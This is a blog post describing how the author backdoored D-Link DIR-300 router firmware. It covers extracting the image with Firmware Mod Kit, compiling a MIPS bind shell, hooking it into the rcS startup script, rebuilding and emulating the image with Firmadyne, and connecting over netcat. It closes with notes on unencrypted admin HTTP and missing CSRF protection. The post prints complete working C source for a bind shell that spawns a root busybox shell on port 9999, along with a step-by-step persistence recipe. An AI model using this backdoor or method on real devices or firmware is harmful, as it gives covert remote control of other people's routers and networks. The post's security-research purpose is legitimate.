Backdooring My Router Firmware

During my research on the OWASP Internet of Things Project  I decided to analyze and backdoor the firmware (dir300 v1.05 976h.bin) on my D-Link DIR-300 Router in order to satisfy my curiosity. I wanted to see for myself if my router was secure or not, I wanted to analyze the firmware and see if I could back door it.

This article details the approach I took, the process I followed and what I found. You can download the firmware using the link below and try it out yourself.

My Back Door Toolbox

I have a number of go to tools that I like to use on firmware projects, for this project I am using the following tools, full links to them below!

• Firmware Mod Kit: https://github.com/rampageX/firmware-mod-kit
• Buildroot: https://buildroot.uclibc.org/
• Firmadyne: https://github.com/firmadyne/firmadyne

The Process I Took

I typically always follow the same process when I set about backdooring an IoT device or firmware, I have outlined them below in simple steps.

1.  Download the target firmware from website or extract from real device.

2.  Use Firmware Mod Kit to find out what architecture and endianness of the firmware and then pull of the important files & folders from the target.

3.  Perform offline analysis and look for obvious vulnerability or security issues.

4.  Find a backdoor and compile it using Buildroot.

5.  Re-build the firmware using Firmware Mod Kit.

6.  Emulate entire firmware using Firmadyne.

7.  Access bindshell via netcat.

8.  Perform online analysis on the running firmware.

Offline Analysis

First things first, Let’s download target firmware from above link.

Now that the firmware had been acquired, the next step was to extract it and start analyzing it by using Firmware Mod Kit.

From this output we can determine:

• The file system is big endian
• The CPU is a MIPS architecture
• The Squashfs is being used

Corresponding with this knowledge a backdoor that will be compatible with this firmware can be built.

This tool also provided an extracted firmware directory structure.

One of the most important use-cases for extracting the file system from firmware is to be able to look for sensitive values within the firmware. Through manual code review, I found hard-coded issue that about telnet credentials.

Re-Build The Firmware With A Backdoor

Now that the architecture and endianness was known, a backdoor could be built that is compatible with the D-Link DIR-300 firmware. This backdoor is reproduced below.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define SERVER_PORT	9999

int main() {
	int serverfd, clientfd, server_pid, i = 0;
	char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n";
	char *args[] = { "/bin/busybox", "sh", (char *) 0 };
	struct sockaddr_in server, client;
	socklen_t len;
	
	server.sin_family = AF_INET;
	server.sin_port = htons(SERVER_PORT);
	server.sin_addr.s_addr = INADDR_ANY; 

	serverfd = socket(AF_INET, SOCK_STREAM, 0);
	bind(serverfd, (struct sockaddr *)&server, sizeof(server));
	listen(serverfd, 1);

    while (1) { 
    	len = sizeof(struct sockaddr);
    	clientfd = accept(serverfd, (struct sockaddr *)&client, &len);
        server_pid = fork(); 
        if (server_pid) { 
        	write(clientfd, banner,  strlen(banner));
	        for(; i <3 /*u*/; i++) dup2(clientfd, i);
	        execve("/bin/busybox", args, (char *) 0);
	        close(clientfd); 
    	} close(clientfd);
    } return 0;
}

We must compile it for the MIPS architecture. We can do this using buildroot. After copying the bindshell into buildroot folder, we statically compile with gcc.

To test this backdoor, using qemu to emulate.

Start the complied backdoor during the boot process. In this case, I am focusing on rcS script that will start all init scripts in /etc/init.d. This seems like a good place to hook up our bindshell.

We will update the startup script with the following.

We will also need to move our bindshell into usr/bin location.

After all above steps, we can re-build our firmware. We use the firmware-mode-kit build-firmware.sh for this.

New firmware will be named new-firmware.bin as figure below.

Emulate The Modified Firmware with Firmadyne.

As a output of terminal, the emulate firmware is running on interface br0 with IP address 192.168.0.1.

Use NMAP port scanner to see if our bindshell is listening.

Connect to the bindshell using netcat.

Online Analysis

Now, that firmware was running. With Burp Suite proxy, we can manually analysis web interface of this firmware to determine any vulnerabilities could be found.

Above figure about a request from my browser to DIR-300 web application. It occurred to me that this was occurring over port 80 with no usage of SSL/TLS. This means that anyone on the network sniffing traffic when an administrator is making configuration changes could intercept the admin credentials. Resources accessible via HTTP GET requests are easily vulnerable to CSRF attack, because this request didn't import any Anti-CSRF attack mechanism.

If you like this article please share it on social media and don't forget to subscribe to Secjuice. My name is ManhNho and I thank you for reading my work!